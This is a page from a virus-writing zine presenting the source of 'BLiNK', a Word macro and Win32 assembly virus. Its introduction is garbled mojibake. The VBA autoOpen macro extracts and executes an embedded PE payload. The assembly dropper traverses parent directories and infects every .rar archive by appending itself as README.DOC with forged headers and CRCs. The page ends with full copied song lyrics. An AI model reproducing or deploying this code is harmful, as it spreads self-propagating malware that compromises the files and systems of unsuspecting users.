- [Duke's Virus Labs #10] - [Page 21] -

  Ŀ
 -=	     BLiNK by ULTRAS[MATRiX]	        =-
  

-, ࠭騩 ᢮   娢 "Readme.doc".  ⨨ 
ࠦ 㬥  ᮧ  ⥪饬 ⠫  䠩,  
ࠦ 㬥  ᢮ PE-ய, ᫥ ⮣ ࠦ 㬥 
᪠ PE-ய. ய  RAR-娢, ࠧࠥ  ७ 
     ᮤন ࠦ 䠩-"ய" Readme.doc.

--(Macro dropper)------------------------------------------------------------->8

Attribute VB_Name = "Blink"
Private Declare Function OpenFile Lib "kernel32" Alias "_lopen" (ByVal s As String, ByVal mode As Long) As Long
Private Declare Function CreateFile Lib "kernel32" Alias "_lcreat" (ByVal s As String, ByVal attr As Long) As Long
Private Declare Function GlobalAlloc Lib "kernel32" (ByVal fl As Long, ByVal n As Long) As Long
Private Declare Sub CopyFileA Lib "kernel32" (ByVal src As String, ByVal dst As String, ByVal mode As Long)
Private Declare Sub SeekFile Lib "kernel32" Alias "_llseek" (ByVal h As Long, ByVal ofs As Long, ByVal fw As Long)
Private Declare Sub ReadFile Lib "kernel32" Alias "_lread" (ByVal h As Long, ByVal ptr As Long, ByVal n As Long)
Private Declare Sub WriteFile Lib "kernel32" Alias "_lwrite" (ByVal h As Long, ByVal ptr As Long, ByVal n As Long)
Private Declare Sub CloseFile Lib "kernel32" Alias "_lclose" (ByVal h As Long)

Sub autoOpen()
On Error Resume Next
'BLiNK by ULTRAS[MATRiX]
Dim doc As String, exe As String
Dim h As Long, p As Long
doc = "blink.doc"
exe = "blink.exe"
CopyFileA ActiveDocument.FullName, doc, 0
p = GlobalAlloc(0, 8192)
h = OpenFile(doc, 0)
SeekFile h, 29696, 0
ReadFile h, p, 8192
CloseFile h
h = CreateFile(exe, 0)
WriteFile h, p, 8192
CloseFile h
Shell "blink.exe", 4
End Sub

--(End Macro dropper)--------------------------------------------------------->8

--(PE dropper)---------------------------------------------------------------->8

.486p
.model flat
jumps

HeaderSize  equ FinRARHeader-RARHeader
size  equ 37888
Extrn ExitProcess:Proc
Extrn FindNextFileA:Proc
Extrn FindFirstFileA:Proc
Extrn SetCurrentDirectoryA:Proc
extrn CreateFileA:PROC
extrn WriteFile:PROC
extrn SetFilePointer:PROC
extrn CloseHandle:PROC
extrn GetModuleFileNameA:PROC
extrn ReadFile:PROC
extrn CopyFileA:PROC
extrn VirtualAlloc:proc
extrn GetCurrentDirectoryA:proc
extrn SetFileAttributesA:proc
.data

win32_find_data          struc          ; structure!
 FileAttributes          dd ?           ; attributes
 CreationTime            qword ?        ; time of creation
 LastAccessTime          qword ?        ; last access time
 LastWriteTime           qword ?        ; last modificationm
 FileSizeHigh            dd ?           ; filesize
 FileSizeLow             dd ?           ; -"-
 Reserved0               dd ?           ; ?
 Reserved1               dd ?           ; ?
 FileName                db 260 dup (?) ; long filename
 AlternateFileName       db 14 dup (?)  ; short filename
win32_find_data          ends          

virii 		db 'BLiNK by ULTRAS [MATRiX]',0
		   ; what`s my age again
                                          
Search    	win32_find_data <>
fname		db 'blink.doc',0
filename	db "blink.exe",0 
bzd		dd ?
virM 		dd ?
nashandle 	dd 0 ; file handle
nashv 		db 260 dup (0) ; buffer 
nastoeh 	db 260 dup (0) ; buffer 
dot 		db '..',0 ; setdir '..'
diiri 		db 260 dup (0) ; buffer
Srchstr 	db '*.rar',00h
Number          dd 0
FileHandle      dd 0
RARHeader:
RARHeaderCRC    dw 0
RARType         db 074h
RARFlags        dw 8000h
RARHeadsize     dw HeaderSize
RARCompressed   dd size
RAROriginal     dd size
RAROs           db 0
RARCrc32        dd 0
RARFileTime     db 063h,078h
RARFileDate     db 031h,024h
RARNeedVer      db 014h
RARMethod       db 030h
RARFnameSize    dw FinRARHeader-RARName
RARAttrib       dd 0
RARName         db "README.DOC"

FinRARHeader label byte

.code
start:
	push offset nastoeh
	push 260
	call GetCurrentDirectoryA

        push 00000001h or 00000002h
        lea eax,filename
        push eax
        call SetFileAttributesA

	push 00000004h
        push 00001000h
        push 37888
        push 0h
        call VirtualAlloc
        cmp eax,0
        je exit
        mov dword ptr [virM],eax
	xor eax, eax
	push eax
	push eax
	push 00000003h
	push eax
	push 00000001h
	inc eax
	ror eax, 1
	push eax
	mov esi,offset fname
	push esi
	call CreateFileA
	inc eax
	je exit
	dec eax
	xchg eax, esi
	push 0
	push offset bzd
	push 37888
	push dword ptr [virM]
	push esi
	call ReadFile
	push eax
	push esi
	call CloseHandle
	pop ecx	
	jecxz exit

infect:
	call inf
	push offset dot
	call SetCurrentDirectoryA
	push offset diiri
	push 260
	call GetCurrentDirectoryA
	cmp eax,dword ptr [nashandle]
	je setdir
	mov dword ptr [nashandle],eax
	jmp infect
inf:
        push Offset Search
        push Offset Srchstr
        call FindFirstFileA
        cmp eax,-1
        je exit
proverim: 
	cmp eax,-1
	je setdir
	or eax,eax
	jnz infect_f
	ret

infect_f:
      	push 00000000h
      	push 00000080h
      	push 03
      	push 00000000h
      	push 00000000h
      	push 0c0000000h
      	push offset Search.FileName
      	call CreateFileA

      	mov  dword ptr [FileHandle],eax
      	push 02
      	push 00
      	push 00
      	push eax
      	call SetFilePointer

      	mov esi,dword ptr [virM]
      	mov edi,size
      	call CRC32

      	mov dword ptr [RARCrc32],eax
      	mov esi,offset RARHeader+2
      	mov edi,HeaderSize-2
      	call CRC32
      	mov word ptr [RARHeaderCRC],ax

      	push 0
      	push offset Number
      	push HeaderSize
      	push offset RARHeader
      	push dword ptr [FileHandle]
      	call WriteFile

      	mov word ptr [RARHeaderCRC],0
      	mov word ptr [RARCrc32],0
      	mov word ptr [RARCrc32+2],0

      	push 0
      	push offset Number
      	push size
      	push dword ptr [virM]
      	push dword ptr [FileHandle]
      	call WriteFile

      	push dword ptr [FileHandle]
      	call CloseHandle

Find_Another:
	push offset Search
	push esi
	call FindNextFileA
	jmp proverim
setdir: 
	push offset nastoeh
	call SetCurrentDirectoryA

exit:
      	push 0
      	call ExitProcess

CRC32:  cld
        push ebx
        mov ecx,-1
        mov edx,ecx
NextByteCRC:
        xor eax,eax
        xor ebx,ebx
        lodsb
        xor al,cl
        mov cl,ch
        mov ch,dl
        mov dl,dh
        mov dh,8
NextBitCRC:
        shr bx,1
        rcr ax,1
        jnc NoCRC
        xor ax,08320h
        xor bx,0edb8h
NoCRC:  dec dh
        jnz NextBitCRC
        xor ecx,eax
        xor edx,ebx
        dec di
        jnz NextByteCRC
        not edx
        not ecx
        pop ebx
        mov eax,edx
        rol eax,16
        mov ax,cx
        ret

Final label byte
end start

--(End PE dropper)------------------------------------------------------------>8

--(Bonus: Blink182 - All the Small Things)------------------------------------>8

		All The Small Things
		~~~~~~~~~~~~~~~~~~~~

		All the small things 
	      True care, truth brings 
		 I'll take one lift 
		Your ride, best trip 

		   Always, I know 
		You'll be at my show 
		  Watching, waiting 
		    Commiserating 

	      Say it ain't so, I will not go 
	    Turn the lights off, carry me home 
	      Na na na na na na na na na na 
	      Na na na na na na na na na na 
	      Na na na na na na na na na na 
	      Na na na na na na na na na na 

	        Late night, come home 
	         Work sucks, I know 
	   She left me roses by the stairs 
	   Surprises let me know she cares 

	      Say it ain't so, I will not go 
	    Turn the lights off, carry me home 
	      Na na na na na na na na na na 
	      Na na na na na na na na na na 
	      Na na na na na na na na na na 
	      Na na na na na na na na na na 

	      Say it ain't so, I will not go 
	    Turn the lights off, carry me home 
	  Keep your head still, I'll be your thrill 
	  The night will go on, my little windmill 

	Say it ain't so, I will not go (na na na na na na na na na na) 
	Turn the lights off, carry me home (na na na na na na na na na na) 
      Keep your head still, I'll be your thrill (na na na na na na na na na na) 
     The night will go on, the night will go on (na na na na na na na na na na) 
		  My little windmill 



; -=[U]=- (c) 1 april 2000
;   What`s my age again
--(End Bonus: Blink182 - All the Small Things)-------------------------------->8
